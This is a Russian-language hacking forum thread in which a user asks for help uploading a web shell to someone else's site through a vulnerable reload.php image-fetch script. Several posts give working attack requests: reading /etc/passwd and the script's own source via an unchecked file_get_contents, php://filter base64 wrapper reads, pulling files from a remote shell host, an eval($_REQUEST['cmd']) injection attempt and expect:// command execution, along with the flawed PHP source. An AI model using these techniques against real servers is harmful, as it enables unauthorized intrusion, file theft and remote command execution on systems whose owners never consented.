Заливка шелла через reload.php

Discussion in 'Уязвимости' started by Muracha, 24 Mar 2018.

  1. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    На сервере крутится скрипт gyazo куда при обращении в определенную папку падают скриншоты(в папку db)
    http://site.ru/upload.cgi
    и создается скрин с хешированным значением
    http://site.ru/db/fhckddkjcdfj.png

    Так же на сайте есть скрипт reload.php - Исходники мне увы неизвестны, скорее самопис.
    При обращении к нему
    http://site.com/reload.php?image=http://www.site.ru/1.(jpg.png.html.ico здесь любое расширение кроме PHP)&type=jpg&title=test123(здесь может быть любое название)&state=new создается в папке db файл уже со своим названием
    http://site.ru/test123.png

    Проблема в том, что создается файл жестко с png но любыми внутренностями. Хоть php, хоть html - неважно. Загрузить и создать файл со свободными разрешением я не могу, хотя пытался делать такой запрос:
    http://site.ru/reload.php?image=htt.../1.php.txt&type=jpg&title=test123.&state=new

    Пробовал обрезать нули но выходит пустая страница.
    Могу предоставить ссылку в пм по запросу, а если поможете не поленюсь и отблагодарить :)
     
  2. Nufai

    Nufai Member

    Joined:
    5 Nov 2017
    Messages:
    56
    Likes Received:
    9
    Reputations:
    0
    directory traversal пробовал? А если указать существующий файл, перепишет его, или добавит новые внутренности к существующим? И еще, параметр type что-то меняет вообще? Можно попробовать еще локальный файл включить.
    https://rdot.org/forum/showthread.php?t=343 - хоть там и врятли инклуд, но может помочь(еле нашел эту ссылку)
     
  3. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    Пробовал ли я directory traversal? Да. выдает белую страницу, но ничего более. Ни загрузки файлов. ни вывод. Ничего.
    Файл перезаписывает. тупо перезаписывает внутреннее содержимое, но не меняет расширение.
    параметр type похоже ни на что не влияет, там хоть dLLL2123 укажи - он спокойно зальет картинку или html со стороннего ресурса и переименует в *.png
    Вообще, бессмысленно все.
     
  4. Nufai

    Nufai Member

    Joined:
    5 Nov 2017
    Messages:
    56
    Likes Received:
    9
    Reputations:
    0
    Если не меняет расширения, то можно побрутить папку на предмет существующих файлов(другие php, .htaccess, еще что-то)
     
  5. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,563
    Reputations:
    40
    так ты не создавай темы, а сразу всё подробно описывай с скринами, с запросами и результатами, нахрена плодить овер много тем ?
     
  6. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    Запрос типа:
    reload.php?image=/etc/passwd&type=png&title=test&state=new - создает в папке /db/ файл test.png с содержимым /etc/passwd
    Если файл отсутствует, то выдает ошибку 404

    То есть это локальная читалка файлов где данные записываются в png файл.
    Хочу залить шелл но при запросе:
    reload.php?image=http://www.shell.com/1.txt&type=png&title=shell&state=new - так же создается файл в папке /db/ исключительно в png формате.
    Можно ли залить шелл или выполнить удаленно команду если команды не срабатывают и выдают пустую белую страницу?
    reload.php?image=http://www.shell.com/1.php&type=png&title=shell&state=new
    reload.php?image=http://www.shell.com/1.txt&type=png&title=shell&state=new
    reload.php?image=http://www.shell.com/1.txt?c=ls
     
  7. dmax0fw

    dmax0fw Level 8

    Joined:
    31 Dec 2017
    Messages:
    106
    Likes Received:
    128
    Reputations:
    46
    попробуй исходники поискать, если найдёшь то там явно больше прояснится
    вообще если параметр type не влияет на результат, то скорее всего в коде жёстко прописано расширение, но это не точно
     
  8. dmax0fw

    dmax0fw Level 8

    Joined:
    31 Dec 2017
    Messages:
    106
    Likes Received:
    128
    Reputations:
    46
    хотя возможно и не нужно искать, попробуй по относительному пути прочитать
    Code:
    reload.php?image=./reload.php&type=png&title=test&state=new
     
    Muracha likes this.
  9. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    Параметр type на результат не влияет, то есть можно без него:
    reload.php?image=/etc/passwd&title=blalbalbabla&state=new
    reload.php?image=/etc/passwd&type=php&title=blalbalba&state=new

    Исходник получил. Базу сайт не использует.
    <?php
    include_once ('config.php');
    if (isset($_GET['title']) and isset($_GET['image'])){
    $title = $_GET['title'] .'.png';
    $edited_image_url = $_GET['image'];
    $imagedata = file_get_contents($edited_image_url);
    if ($imagedata) {
    file_put_contents($_UPLOAD_PATH . $title, $imagedata);
    }
    header ("Location: $_URL_EDIT_PREFIX$title");
    die();
    }
    ?>
     
    #9 Muracha, 3 Apr 2018
    Last edited: 3 Apr 2018
  10. dmax0fw

    dmax0fw Level 8

    Joined:
    31 Dec 2017
    Messages:
    106
    Likes Received:
    128
    Reputations:
    46
    вот и ответ
     
  11. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    Понятно. Тогда такой вопрос.
    Наткнулся на такую тему как враппеты в LFI
    Код работает
    php://filter/convert.base64-encode/resource=/etc/passwd

    А такой код
    php://cmd=ls

    Нет.
    Как можно составить запрос для загрузки файла или чтения директории ls?
    Вот сама ссылка:
    После нужно заменить edit на db и появится png файл с содержимым. Или не появится
     
    #11 Muracha, 10 Apr 2018
    Last edited: 10 Apr 2018
  12. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,563
    Reputations:
    40
    Первое:
    Не php://cmd=ls , а expect://ls
    Второе третье, четвёртое и пятое
    https://rdot.org/forum/showthread.php?t=343
    http://php.net/manual/ru/wrappers.php
    Мне что что лень стало объяснять то что уже не раз обсуждалось.
     
  13. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    Ну насчет expect://ls - дело не зайдет - нужен установленный модуль, который там отсутствует.

    В php я ноль. Попробую разобраться во всем этом.

    Code:
    include_once ('config.php'); // подключение файла config.php - тут не придраться.
    if (isset($_GET['title']) and isset($_GET['image'])){
    $title = $_GET['title'] .'.png';
    // Проверяет передачу переменной $title и $image и на основе данных $title формирует название. 1.png, 2.png sffsf.png - как угодно.

    Code:
    $edited_image_url = $_GET['image']; //  просто $edited_image_url равно суперпеременной $_GET['image'];
    $imagedata = file_get_contents($edited_image_url); // тоже самое
    if ($imagedata) {
    file_put_contents($_UPLOAD_PATH . $title, $imagedata);
    }
    // загрузка файла из config.php $_UPLOAD_PATH = '/var/www/gyazo/db/'; с названием 123.png


    Code:
    header ("Location: $_URL_EDIT_PREFIX$title"); 
    }
    die();
    // переадресовывает по адресу /edit/. Меняешь потом на /db/ и наблюдает результат

    Меня интересует заливка шелла или выполнение системных команд.
    Залить шелл не получится,
    Code:
    $title = $_GET['title'] .'.png';
    Жестко прописано, что только пнг.

    Если выполнять команды - то нет модуля.

    Тогда все же непонятно, почему не работает удаленное выполнение кода, чтение команды типа:
    reload.php?image=php://filter/convert.base64-encode/resource=<?php eval($_REQUEST['cmd']); ?>&title=test&state=new

    Понимаю, что идет обращение к файлу, например /etc/passwd - оно записывается в тело изображения и сохраняется как картинка.
    Но здесь получается, что идет тупо сохрание, но никак не обработка команды: взял скрипт, обработал его, вернул новое значение что получилось в изображение?

    Все, путаница в голове.
     
  14. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,563
    Reputations:
    40
    Вы внимательно читали то что я вам кинул ? У вас не LFI
     
  15. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    Да но судя по акценту вопроса видимо невнимательно читал.
    Почему не ЛФИ?

    LFI - - это возможность использования и выполнения локальных файлов на серверной стороне.
    Если я могу читать файлы на сервере?
    Если это RFI исходя их логики(либо/либо) то можно подключать удаленное выполнение файла?
     
    #15 Muracha, 10 Apr 2018
    Last edited: 10 Apr 2018
  16. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,563
    Reputations:
    40
    Я просто тупой очень , сарян
     
  17. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    я про себя :)
    Поднимая вопрос - либо ЛФИ, либо РФИ. если не ЛФИ, то как грамотно можно построить запрос для выполнения удаленных команд?
    Или здесь вообще ни и не то
     
Loading...